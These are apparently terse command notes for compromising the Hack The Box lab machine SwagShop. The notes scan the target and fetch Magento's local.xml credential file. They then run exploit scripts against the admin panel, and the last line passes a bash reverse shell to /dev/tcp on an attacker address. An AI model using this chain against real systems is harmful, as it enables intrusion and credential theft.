sudo apt install openvpn
sudo openvpn <HTBVPN>.ovpn
sudo apt install -y nmap curl
export TARGET_IP=10.129.232.18
ping -c 1 ${TARGET_IP}
nmap -sV -T4 ${TARGET_IP}
curl http://${TARGET_IP} -v
# pause: why did this fail
curl http://${TARGET_IP} -v --follow
# pause: why did this fail
sudo vim /etc/hosts
# <IP> swagshop.htb
curl -L http://swagshop.htb/app/etc/local.xml
Wed, 08 May 2019 07:23:09 +0000
python3 poc.py http://swagshop.htb
(venv) python3 exp.py http://swagshop.htb/index.php/admin /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.2/4444 0>&1'